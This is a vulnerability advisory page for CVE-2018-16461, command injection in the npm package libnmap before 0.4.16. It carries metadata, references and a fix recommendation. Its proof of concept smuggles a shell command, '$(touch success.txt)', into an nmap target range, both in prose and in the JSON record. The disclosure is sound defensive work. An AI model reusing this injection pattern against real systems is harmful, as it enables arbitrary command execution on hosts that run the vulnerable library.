GHSA-7G2W-6R25-2J7P

Vulnerability from github – Published: 2018-11-01 14:51 – Updated: 2023-09-07 18:15
VLAI?
Summary
Command Injection in libnmap
Details

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "libnmap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:22:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require(\u0027libnmap\u0027);\nconst opts = {\n    range: [\n        \u0027scanme.nmap.org\u0027,\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\n    for (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later",
  "id": "GHSA-7g2w-6r25-2j7p",
  "modified": "2023-09-07T18:15:41Z",
  "published": "2018-11-01T14:51:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16461"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/390865"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7g2w-6r25-2j7p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/474.json"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/719"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Command Injection in libnmap"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…